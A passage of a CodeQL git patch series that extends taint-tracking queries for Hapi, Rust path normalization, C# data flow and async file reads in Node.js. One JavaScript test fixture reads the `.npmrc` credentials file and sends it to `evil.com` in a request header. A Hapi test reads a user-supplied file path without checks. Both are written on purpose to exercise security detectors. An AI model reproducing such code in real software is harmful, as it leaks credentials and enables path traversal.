src/hapiglue.js:38:25:38:36 | getHandler() | +| src/hapihapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapihapi.js:6:1:6:21 | functio ... er1(){} | +| src/hapihapi.js:12:1:15:7 | server2 ... }}) | src/hapihapi.js:13:14:15:5 | functio ... n\\n } | +| src/hapihapi.js:17:1:18:2 | server2 ... dler\\n}) | src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} | +| src/hapihapi.js:29:1:29:20 | server2.route(route) | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | +| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:33:1:35:1 | return of function getHandler | +| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:34:12:34:30 | function (req, h){} | +| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:36:25:36:36 | getHandler() | test_RouteHandler_getARequestExpr | src/hapi.js:13:14:15:5 | functio ... n\\n } | src/hapi.js:13:32:13:38 | request | | src/hapi.js:13:14:15:5 | functio ... n\\n } | src/hapi.js:13:32:13:38 | request | @@ -138,9 +185,24 @@ test_RouteHandler_getARequestExpr | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | src/hapiglue.js:27:3:27:9 | request | | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | src/hapiglue.js:28:3:28:9 | request | | src/hapiglue.js:36:12:36:33 | functio ... hapi){} | src/hapiglue.js:36:22:36:24 | req | +| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | src/hapihapi.js:13:32:13:38 | request | +| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | src/hapihapi.js:13:32:13:38 | request | +| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | src/hapihapi.js:14:9:14:15 | request | +| src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} | src/hapihapi.js:17:48:17:54 | request | +| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:20:19:20:25 | request | +| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:20:19:20:25 | request | +| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:21:3:21:9 | request | +| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:22:3:22:9 | request | +| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:23:3:23:9 | request | +| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:24:3:24:9 | request | +| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:25:3:25:9 | request | +| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:26:3:26:9 | request | +| src/hapihapi.js:34:12:34:30 | function (req, h){} | src/hapihapi.js:34:22:34:24 | req | test_HeaderDefinition_getAHeaderName | src/hapi.js:14:9:14:46 | request ... 1', '') | header1 | | src/hapiglue.js:14:9:14:46 | request ... 1', '') | header1 | +| src/hapihapi.js:14:9:14:46 | request ... 1', '') | header1 | test_RouteHandler_getAResponseHeader | src/hapi.js:13:14:15:5 | functio ... n\\n } | header1 | src/hapi.js:14:9:14:46 | request ... 1', '') | | src/hapiglue.js:13:14:15:5 | functio ... n\\n } | header1 | src/hapiglue.js:14:9:14:46 | request ... 1', '') | +| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | header1 | src/hapihapi.js:14:9:14:46 | request ... 1', '') | diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected index 17c3e12dedd..db9c0b11a35 100644 --- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected +++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected @@ -51,6 +51,7 @@ | express.js:8:20:8:32 | req.query.bar | express.js:8:20:8:32 | req.query.bar | express.js:8:20:8:32 | req.query.bar | This path depends on a $@. | express.js:8:20:8:32 | req.query.bar | user-provided value | | handlebars.js:11:32:11:39 | filePath | handlebars.js:29:46:29:60 | req.params.path | handlebars.js:11:32:11:39 | filePath | This path depends on a $@. | handlebars.js:29:46:29:60 | req.params.path | user-provided value | | handlebars.js:15:25:15:32 | filePath | handlebars.js:43:15:43:29 | req.params.path | handlebars.js:15:25:15:32 | filePath | This path depends on a $@. | handlebars.js:43:15:43:29 | req.params.path | user-provided value | +| hapi.js:15:44:15:51 | filepath | hapi.js:14:30:14:51 | request ... ilepath | hapi.js:15:44:15:51 | filepath | This path depends on a $@. | hapi.js:14:30:14:51 | request ... ilepath | user-provided value | | normalizedPaths.js:13:19:13:22 | path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:13:19:13:22 | path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value | | normalizedPaths.js:14:19:14:29 | './' + path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:14:19:14:29 | './' + path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value | | normalizedPaths.js:15:19:15:38 | path + '/index.html' | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:15:19:15:38 | path + '/index.html' | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value | @@ -344,6 +345,8 @@ edges | handlebars.js:13:73:13:80 | filePath | handlebars.js:15:25:15:32 | filePath | provenance | | | handlebars.js:29:46:29:60 | req.params.path | handlebars.js:10:51:10:58 | filePath | provenance | | | handlebars.js:43:15:43:29 | req.params.path | handlebars.js:13:73:13:80 | filePath | provenance | | +| hapi.js:14:19:14:51 | filepath | hapi.js:15:44:15:51 | filepath | provenance | | +| hapi.js:14:30:14:51 | request ... ilepath | hapi.js:14:19:14:51 | filepath | provenance | | | normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:13:19:13:22 | path | provenance | | | normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:14:26:14:29 | path | provenance | | | normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:15:19:15:22 | path | provenance | | @@ -821,6 +824,9 @@ nodes | handlebars.js:15:25:15:32 | filePath | semmle.label | filePath | | handlebars.js:29:46:29:60 | req.params.path | semmle.label | req.params.path | | handlebars.js:43:15:43:29 | req.params.path | semmle.label | req.params.path | +| hapi.js:14:19:14:51 | filepath | semmle.label | filepath | +| hapi.js:14:30:14:51 | request ... ilepath | semmle.label | request ... ilepath | +| hapi.js:15:44:15:51 | filepath | semmle.label | filepath | | normalizedPaths.js:11:7:11:27 | path | semmle.label | path | | normalizedPaths.js:11:14:11:27 | req.query.path | semmle.label | req.query.path | | normalizedPaths.js:13:19:13:22 | path | semmle.label | path | diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/hapi.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/hapi.js index 12a61f66350..c90da206824 100644 --- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/hapi.js +++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/hapi.js @@ -11,8 +11,8 @@ const fs = require('fs').promises; method: 'GET', path: '/hello', handler: async (request, h) => { - const filepath = request.query.filepath; // $ MISSING: Source - const data = await fs.readFile(filepath, 'utf8'); // $ MISSING: Alert + const filepath = request.query.filepath; // $ Source + const data = await fs.readFile(filepath, 'utf8'); // $ Alert const firstLine = data.split('\n')[0]; return firstLine; } From a78e0e914fdd7e78bfb16745c291a57625c92cb3 Mon Sep 17 00:00:00 2001 From: Napalys Date: Wed, 26 Mar 2025 11:45:25 +0100 Subject: [PATCH 080/121] Added change note. --- javascript/ql/lib/change-notes/2025-03-26-Hapi.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 javascript/ql/lib/change-notes/2025-03-26-Hapi.md diff --git a/javascript/ql/lib/change-notes/2025-03-26-Hapi.md b/javascript/ql/lib/change-notes/2025-03-26-Hapi.md new file mode 100644 index 00000000000..d6d5795570f --- /dev/null +++ b/javascript/ql/lib/change-notes/2025-03-26-Hapi.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* Added support for the newer version of `Hapi` with the `@hapi/hapi` import and `server` function. From bf76505880fb2933214953c3785efce6803c56bc Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Wed, 26 Mar 2025 13:19:44 +0100 Subject: [PATCH 081/121] Rust: address comments --- rust/ql/lib/codeql/rust/Concepts.qll | 9 +-------- .../rust/dataflow/internal/DataFlowImpl.qll | 19 +++++++++---------- .../queries/security/CWE-022/TaintedPath.ql | 19 +++++-------------- .../query-tests/security/CWE-022/options.yml | 1 - 4 files changed, 15 insertions(+), 33 deletions(-) diff --git a/rust/ql/lib/codeql/rust/Concepts.qll b/rust/ql/lib/codeql/rust/Concepts.qll index 6c7fad5409c..723cde6913a 100644 --- a/rust/ql/lib/codeql/rust/Concepts.qll +++ b/rust/ql/lib/codeql/rust/Concepts.qll @@ -269,14 +269,7 @@ module Cryptography { /** Provides classes for modeling path-related APIs. */ module Path { - /** - * A data-flow node that performs path normalization. This is often needed in order - * to safely access paths. - */ - class PathNormalization extends DataFlow::Node instanceof PathNormalization::Range { - /** Gets an argument to this path normalization that is interpreted as a path. */ - DataFlow::Node getPathArg() { result = super.getPathArg() } - } + final class PathNormalization = PathNormalization::Range; /** Provides a class for modeling new path normalization APIs. */ module PathNormalization { diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll index b81158ca105..0045279c615 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll @@ -720,6 +720,15 @@ module RustDataFlow implements InputSig { not isSpecialContentSet(cs) } + /** + * Holds if `cs` is used to encode a special operation as a content component, but should not + * be treated as an ordinary content component. + */ + private predicate isSpecialContentSet(ContentSet cs) { + cs instanceof TOptionalStep or + cs instanceof TOptionalBarrier + } + pragma[nomagic] private predicate fieldAssignment(Node node1, Node node2, FieldContent c) { exists(AssignmentExprCfgNode assignment, FieldExprCfgNode access | @@ -1110,16 +1119,6 @@ private module Cached { name = any(FlowSummaryImpl::Private::AccessPathToken tok).getAnArgument("OptionalBarrier") } - /** - * Holds if `cs` is used to encode a special operation as a content component, but should not - * be treated as an ordinary content component. - */ - cached - predicate isSpecialContentSet(ContentSet cs) { - cs instanceof TOptionalStep or - cs instanceof TOptionalBarrier - } - /** Holds if `n` is a flow source of kind `kind`. */ cached predicate sourceNode(Node n, string kind) { n.(FlowSummaryNode).isSource(kind, _) } diff --git a/rust/ql/src/queries/security/CWE-022/TaintedPath.ql b/rust/ql/src/queries/security/CWE-022/TaintedPath.ql index b0f59e8c24f..fcc1c89ef66 100644 --- a/rust/ql/src/queries/security/CWE-022/TaintedPath.ql +++ b/rust/ql/src/queries/security/CWE-022/TaintedPath.ql @@ -22,20 +22,11 @@ import codeql.rust.security.TaintedPathExtensions import TaintedPathFlow::PathGraph private import codeql.rust.Concepts -abstract private class NormalizationState extends string { - bindingset[this] - NormalizationState() { any() } -} - -/** A state signifying that the file path has not been normalized. */ -class NotNormalized extends NormalizationState { - NotNormalized() { this = "NotNormalized" } -} - -/** A state signifying that the file path has been normalized, but not checked. */ -class NormalizedUnchecked extends NormalizationState { - NormalizedUnchecked() { this = "NormalizedUnchecked" } -} +newtype NormalizationState = + /** A state signifying that the file path has not been normalized. */ + NotNormalized() or + /** A state signifying that the file path has been normalized, but not checked. */ + NormalizedUnchecked() /** * This configuration uses two flow states, `NotNormalized` and `NormalizedUnchecked`, diff --git a/rust/ql/test/query-tests/security/CWE-022/options.yml b/rust/ql/test/query-tests/security/CWE-022/options.yml index e036e2387ed..5277d967cc0 100644 --- a/rust/ql/test/query-tests/security/CWE-022/options.yml +++ b/rust/ql/test/query-tests/security/CWE-022/options.yml @@ -1,3 +1,2 @@ -qltest_cargo_check: true qltest_dependencies: - poem = { version = "3.1.7" } From 762ca2f8f5cfcd1a3d25062b48383c28e64500d4 Mon Sep 17 00:00:00 2001 From: Napalys Date: Wed, 26 Mar 2025 14:21:44 +0100 Subject: [PATCH 082/121] Added test case with `async readFile`, currently not flagged. --- .../Security/CWE-200/FileAccessToHttp.js | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js index 8e5df53f2b2..18ed565ffe8 100644 --- a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js +++ b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js @@ -8,3 +8,21 @@ https.get({ method: "GET", headers: { Referer: content } }, () => { }); // $ Alert[js/file-access-to-http] + +const fsp = require("fs").promises; + +(async function sendRequest() { + try { + const content = await fsp.readFile(".npmrc", "utf8"); // $ MISSING: Source[js/file-access-to-http] + + https.get({ + hostname: "evil.com", + path: "/upload", + method: "GET", + headers: { Referer: content } + }, () => { }); // $ MISSING: Alert[js/file-access-to-http] + + } catch (error) { + console.error("Error reading file:", error); + } +})(); From 200bf391ce14c1ad11a7315797089398745fdc8e Mon Sep 17 00:00:00 2001 From: Napalys Date: Wed, 26 Mar 2025 14:24:52 +0100 Subject: [PATCH 083/121] Enhance NodeJSLib data flow handling through `await`. --- .../ql/lib/semmle/javascript/frameworks/NodeJSLib.qll | 8 +++++++- .../Security/CWE-200/FileAccessToHttp.expected | 10 ++++++++++ .../query-tests/Security/CWE-200/FileAccessToHttp.js | 4 ++-- 3 files changed, 19 insertions(+), 3 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll index 3427591bc1b..bf5c2cafa5f 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll @@ -599,7 +599,7 @@ module NodeJSLib { override DataFlow::Node getADataNode() { if methodName.matches("%Sync") then result = this - else + else ( exists(int i, string paramName | fsDataParam(methodName, i, paramName) | if paramName = "callback" then @@ -610,6 +610,12 @@ module NodeJSLib { ) else result = this.getArgument(i) ) + or + exists(AwaitExpr await | + this.getEnclosingExpr() = await.getOperand() and + result = DataFlow::valueNode(await) + ) + ) } } diff --git a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected index 97daf99fcec..dc269be18f3 100644 --- a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected +++ b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected @@ -1,5 +1,6 @@ #select | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | Outbound network request depends on $@. | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | file data | +| FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | file data | | bufferRead.js:32:21:32:28 | postData | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:32:21:32:28 | postData | Outbound network request depends on $@. | bufferRead.js:12:22:12:43 | new Buf ... s.size) | file data | | googlecompiler.js:37:18:37:26 | post_data | googlecompiler.js:43:54:43:57 | data | googlecompiler.js:37:18:37:26 | post_data | Outbound network request depends on $@. | googlecompiler.js:43:54:43:57 | data | file data | | readFileSync.js:25:18:25:18 | s | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | readFileSync.js:25:18:25:18 | s | Outbound network request depends on $@. | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | file data | @@ -13,6 +14,10 @@ edges | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:4:5:4:47 | content | provenance | | | FileAccessToHttp.js:9:12:9:31 | { Referer: content } [Referer] | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | provenance | | | FileAccessToHttp.js:9:23:9:29 | content | FileAccessToHttp.js:9:12:9:31 | { Referer: content } [Referer] | provenance | | +| FileAccessToHttp.js:16:11:16:56 | content | FileAccessToHttp.js:22:27:22:33 | content | provenance | | +| FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:16:11:16:56 | content | provenance | | +| FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | provenance | | +| FileAccessToHttp.js:22:27:22:33 | content | FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | provenance | | | bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:21:13:26 | buffer | provenance | | | bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:32:13:37 | buffer | provenance | | | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:12:13:12:43 | buffer | provenance | | @@ -64,6 +69,11 @@ nodes | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | semmle.label | {\\n hos ... ent }\\n} | | FileAccessToHttp.js:9:12:9:31 | { Referer: content } [Referer] | semmle.label | { Referer: content } [Referer] | | FileAccessToHttp.js:9:23:9:29 | content | semmle.label | content | +| FileAccessToHttp.js:16:11:16:56 | content | semmle.label | content | +| FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | semmle.label | await f ... "utf8") | +| FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | semmle.label | {\\n ... }\\n } | +| FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | semmle.label | { Referer: content } [Referer] | +| FileAccessToHttp.js:22:27:22:33 | content | semmle.label | content | | bufferRead.js:12:13:12:43 | buffer | semmle.label | buffer | | bufferRead.js:12:22:12:43 | new Buf ... s.size) | semmle.label | new Buf ... s.size) | | bufferRead.js:13:21:13:26 | buffer | semmle.label | buffer | diff --git a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js index 18ed565ffe8..3a06a63410c 100644 --- a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js +++ b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js @@ -13,14 +13,14 @@ const fsp = require("fs").promises; (async function sendRequest() { try { - const content = await fsp.readFile(".npmrc", "utf8"); // $ MISSING: Source[js/file-access-to-http] + const content = await fsp.readFile(".npmrc", "utf8"); // $ Source[js/file-access-to-http] https.get({ hostname: "evil.com", path: "/upload", method: "GET", headers: { Referer: content } - }, () => { }); // $ MISSING: Alert[js/file-access-to-http] + }, () => { }); // $ Alert[js/file-access-to-http] } catch (error) { console.error("Error reading file:", error); From bf9a21fce27e51b7b8ab967a4498b38d9952ab56 Mon Sep 17 00:00:00 2001 From: Napalys Date: Wed, 26 Mar 2025 14:27:13 +0100 Subject: [PATCH 084/121] Added change note --- javascript/ql/lib/change-notes/2025-03-26-async-fileRead.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 javascript/ql/lib/change-notes/2025-03-26-async-fileRead.md diff --git a/javascript/ql/lib/change-notes/2025-03-26-async-fileRead.md b/javascript/ql/lib/change-notes/2025-03-26-async-fileRead.md new file mode 100644 index 00000000000..88032fab482 --- /dev/null +++ b/javascript/ql/lib/change-notes/2025-03-26-async-fileRead.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* Added data flow from `require("fs").promises.readFile()` to `async`. From 023ffe22a0deee2b2b4b04d8c2b3419b5ce9eded Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Wed, 26 Mar 2025 14:11:21 +0100 Subject: [PATCH 085/121] C#: Make `getPreUpdateNode` Unique Again --- .../DataFlowConsistency.ql | 24 +--- .../dataflow/internal/DataFlowPrivate.qll | 109 +++++++++++------- .../dataflow/global/DataFlowPath.expected | 70 +++++------ .../global/TaintTrackingPath.expected | 70 +++++------ 4 files changed, 132 insertions(+), 141 deletions(-) diff --git a/csharp/ql/consistency-queries/DataFlowConsistency.ql b/csharp/ql/consistency-queries/DataFlowConsistency.ql index 2f34368b669..638bace3892 100644 --- a/csharp/ql/consistency-queries/DataFlowConsistency.ql +++ b/csharp/ql/consistency-queries/DataFlowConsistency.ql @@ -34,30 +34,18 @@ private module Input implements InputSig { n instanceof FlowSummaryNode or n.asExpr().(ObjectCreation).hasInitializer() + or + exists( + n.(PostUpdateNode).getPreUpdateNode().asExprAtNode(LocalFlow::getPostUpdateReverseStep(_)) + ) } predicate argHasPostUpdateExclude(ArgumentNode n) { n instanceof FlowSummaryNode or - not exists(LocalFlow::getAPostUpdateNodeForArg(n.getControlFlowNode())) - or n instanceof ParamsArgumentNode - } - - predicate postHasUniquePreExclude(PostUpdateNode n) { - exists(ControlFlow::Nodes::ExprNode e, ControlFlow::Nodes::ExprNode arg | - e = LocalFlow::getAPostUpdateNodeForArg(arg) and - e != arg and - n = TExprPostUpdateNode(e) - ) - } - - predicate uniquePostUpdateExclude(Node n) { - exists(ControlFlow::Nodes::ExprNode e, ControlFlow::Nodes::ExprNode arg | - e = LocalFlow::getAPostUpdateNodeForArg(arg) and - e != arg and - n.asExpr() = arg.getExpr() - ) + or + n.asExpr() = any(Expr e | not exprMayHavePostUpdateNode(e)) } predicate reverseReadExclude(Node n) { n.asExpr() = any(AwaitExpr ae).getExpr() } diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll index f7b6fd5ff13..c5e915b0535 100644 --- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll +++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll @@ -691,19 +691,22 @@ module LocalFlow { ) } - /** Gets a node for which to construct a post-update node for argument `arg`. */ - ControlFlow::Nodes::ExprNode getAPostUpdateNodeForArg(ControlFlow::Nodes::ExprNode arg) { - arg.getExpr() instanceof Argument and - result = getALastEvalNode*(arg) and - exists(Expr e, Type t | result.getExpr() = e and t = e.stripCasts().getType() | - t instanceof RefType and - not t instanceof NullType - or - t = any(TypeParameter tp | not tp.isValueType()) - or - t.isRefLikeType() - ) and - not exists(getALastEvalNode(result)) + /** + * Holds if a reverse local flow step should be added from the post-update node + * for `e` to the post-update node for the result. + * + * This is needed to allow for side-effects on compound expressions to propagate + * to sub components. For example, in + * + * ```csharp + * m(b ? x : y) + * ``` + * + * we add a reverse flow step from `[post] b ? x : y` to `[post] x` and to + * `[post] y`, in order for the side-effect of `m` to reach both `x` and `y`. + */ + ControlFlow::Nodes::ExprNode getPostUpdateReverseStep(ControlFlow::Nodes::ExprNode e) { + result = getALastEvalNode(e) } /** @@ -763,6 +766,13 @@ predicate simpleLocalFlowStep(Node nodeFrom, Node nodeTo, string model) { VariableCapture::valueStep(nodeFrom, nodeTo) or nodeTo = nodeFrom.(LocalFunctionCreationNode).getAnAccess(true) + or + nodeTo.(PostUpdateNode).getPreUpdateNode().(ExprNode).getControlFlowNode() = + LocalFlow::getPostUpdateReverseStep(nodeFrom + .(PostUpdateNode) + .getPreUpdateNode() + .(ExprNode) + .getControlFlowNode()) ) and model = "" or @@ -1061,6 +1071,20 @@ private class FieldOrPropertyUsedInSource extends FieldOrProperty { } } +/** + * Hold if `e` has a type that allows for it to have a post-update node. + */ +predicate exprMayHavePostUpdateNode(Expr e) { + exists(Type t | t = e.stripCasts().getType() | + t instanceof RefType and + not t instanceof NullType + or + t = any(TypeParameter tp | not tp.isValueType()) + or + t.isRefLikeType() + ) +} + /** A collection of cached types and predicates to be evaluated in the same stage. */ cached private module Cached { @@ -1106,7 +1130,15 @@ private module Cached { cfn.getAstNode().(ObjectCreation).hasInitializer() } or TExprPostUpdateNode(ControlFlow::Nodes::ExprNode cfn) { - cfn = LocalFlow::getAPostUpdateNodeForArg(_) + ( + cfn.getExpr() instanceof Argument + or + cfn = + LocalFlow::getPostUpdateReverseStep(any(ControlFlow::Nodes::ExprNode e | + exists(any(SourcePostUpdateNode p).getPreUpdateNode().asExprAtNode(e)) + )) + ) and + exprMayHavePostUpdateNode(cfn.getExpr()) or exists(Expr e | e = cfn.getExpr() | fieldOrPropertyStore(_, _, _, e, true) @@ -2722,17 +2754,23 @@ abstract class PostUpdateNode extends Node { } module PostUpdateNodes { - class ObjectCreationNode extends PostUpdateNode, ExprNode, TExprNode { + abstract class SourcePostUpdateNode extends PostUpdateNode { + abstract Node getPreUpdateSourceNode(); + + final override Node getPreUpdateNode() { result = this.getPreUpdateSourceNode() } + } + + class ObjectCreationNode extends SourcePostUpdateNode, ExprNode, TExprNode { private ObjectCreation oc; ObjectCreationNode() { this = TExprNode(oc.getAControlFlowNode()) } - override Node getPreUpdateNode() { + override Node getPreUpdateSourceNode() { exists(ControlFlow::Nodes::ElementNode cfn | this = TExprNode(cfn) | - result.(ObjectInitializerNode).getControlFlowNode() = cfn + result = TObjectInitializerNode(cfn) or not oc.hasInitializer() and - result.(MallocNode).getControlFlowNode() = cfn + result = TMallocNode(cfn) ) } } @@ -2744,7 +2782,7 @@ module PostUpdateNodes { * Such a node acts as both a post-update node for the `MallocNode`, as well as * a pre-update node for the `ObjectCreationNode`. */ - class ObjectInitializerNode extends PostUpdateNode, NodeImpl, ArgumentNodeImpl, + class ObjectInitializerNode extends SourcePostUpdateNode, NodeImpl, ArgumentNodeImpl, TObjectInitializerNode { private ObjectCreation oc; @@ -2758,7 +2796,7 @@ module PostUpdateNodes { /** Gets the initializer to which this initializer node belongs. */ ObjectOrCollectionInitializer getInitializer() { result = oc.getInitializer() } - override MallocNode getPreUpdateNode() { result.getControlFlowNode() = cfn } + override MallocNode getPreUpdateSourceNode() { result = TMallocNode(cfn) } override predicate argumentOf(DataFlowCall call, ArgumentPosition pos) { pos.isQualifier() and @@ -2781,23 +2819,12 @@ module PostUpdateNodes { override string toStringImpl() { result = "[pre-initializer] " + cfn } } - class ExprPostUpdateNode extends PostUpdateNode, NodeImpl, TExprPostUpdateNode { + class ExprPostUpdateNode extends SourcePostUpdateNode, NodeImpl, TExprPostUpdateNode { private ControlFlow::Nodes::ElementNode cfn; ExprPostUpdateNode() { this = TExprPostUpdateNode(cfn) } - override ExprNode getPreUpdateNode() { - // For compound arguments, such as `m(b ? x : y)`, we want the leaf nodes - // `[post] x` and `[post] y` to have two pre-update nodes: (1) the compound argument, - // `if b then x else y`; and the (2) the underlying expressions; `x` and `y`, - // respectively. - // - // This ensures that we get flow out of the call into both leafs (1), while still - // maintaining the invariant that the underlying expression is a pre-update node (2). - cfn = LocalFlow::getAPostUpdateNodeForArg(result.getControlFlowNode()) - or - cfn = result.getControlFlowNode() - } + override ExprNode getPreUpdateSourceNode() { result = TExprNode(cfn) } override DataFlowCallable getEnclosingCallableImpl() { result.getAControlFlowNode() = cfn @@ -2825,41 +2852,41 @@ module PostUpdateNodes { override Node getPreUpdateNode() { result.(FlowSummaryNode).getSummaryNode() = preUpdateNode } } - private class InstanceParameterAccessPostUpdateNode extends PostUpdateNode, + private class InstanceParameterAccessPostUpdateNode extends SourcePostUpdateNode, InstanceParameterAccessNode { InstanceParameterAccessPostUpdateNode() { isPostUpdate = true } - override InstanceParameterAccessPreNode getPreUpdateNode() { + override InstanceParameterAccessPreNode getPreUpdateSourceNode() { result = TInstanceParameterAccessNode(cfn, false) } override string toStringImpl() { result = "[post] this" } } - private class PrimaryConstructorThisAccessPostUpdateNode extends PostUpdateNode, + private class PrimaryConstructorThisAccessPostUpdateNode extends SourcePostUpdateNode, PrimaryConstructorThisAccessNode { PrimaryConstructorThisAccessPostUpdateNode() { isPostUpdate = true } - override PrimaryConstructorThisAccessPreNode getPreUpdateNode() { + override PrimaryConstructorThisAccessPreNode getPreUpdateSourceNode() { result = TPrimaryConstructorThisAccessNode(p, false, callable) } override string toStringImpl() { result = "[post] this" } } - class LocalFunctionCreationPostUpdateNode extends LocalFunctionCreationNode, PostUpdateNode { + class LocalFunctionCreationPostUpdateNode extends LocalFunctionCreationNode, SourcePostUpdateNode { LocalFunctionCreationPostUpdateNode() { isPostUpdate = true } - override LocalFunctionCreationPreNode getPreUpdateNode() { + override LocalFunctionCreationPreNode getPreUpdateSourceNode() { result = TLocalFunctionCreationNode(cfn, false) } override string toStringImpl() { result = "[post] " + cfn } } - private class CapturePostUpdateNode extends PostUpdateNode, CaptureNode { + private class CapturePostUpdateNode extends SourcePostUpdateNode, CaptureNode { private CaptureNode pre; CapturePostUpdateNode() { @@ -2867,7 +2894,7 @@ module PostUpdateNodes { pre.getSynthesizedCaptureNode()) } - override CaptureNode getPreUpdateNode() { result = pre } + override CaptureNode getPreUpdateSourceNode() { result = pre } override string toStringImpl() { result = "[post] " + cn } } diff --git a/csharp/ql/test/library-tests/dataflow/global/DataFlowPath.expected b/csharp/ql/test/library-tests/dataflow/global/DataFlowPath.expected index c5f00cd656f..7333890f68f 100644 --- a/csharp/ql/test/library-tests/dataflow/global/DataFlowPath.expected +++ b/csharp/ql/test/library-tests/dataflow/global/DataFlowPath.expected @@ -421,46 +421,40 @@ edges | GlobalDataFlow.cs:469:21:469:21 | s : String | GlobalDataFlow.cs:469:32:469:32 | access to parameter s | provenance | | | 